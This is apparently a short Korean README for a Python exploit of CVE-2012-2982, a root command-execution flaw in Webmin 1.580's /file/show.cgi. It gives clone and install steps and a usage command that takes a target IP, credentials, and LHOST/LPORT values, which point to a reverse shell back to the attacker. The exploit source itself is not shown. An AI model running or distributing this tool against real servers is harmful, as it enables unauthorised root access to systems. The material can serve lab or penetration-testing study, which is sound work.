
Python exploit for CVE-2012-2982
이 파이썬 스크립트는 Webmin 1.580의 취약점 CVE-2012-2982를 위해 작성되었습니다. 취약점은 /file/show.cgi 구성 요소에 존재하며, File Manager Module에 접근 권한이 있는 인증된 사용자가 루트 권한으로 임의의 명령을 실행할 수 있게 합니다.
테스트된 파이썬 버전: Python 3.8.5
필요한 pip 패키지: secrets
git clone https://github.com/OstojaOfficial/CVE-2012-2982.git
pip3 install -r requirements.txt
익스플로잇을 실행하려면 아래 명령을 사용하세요:
python3 exploit.py <IP> <Username> <Password> <LHOST> <LPORT>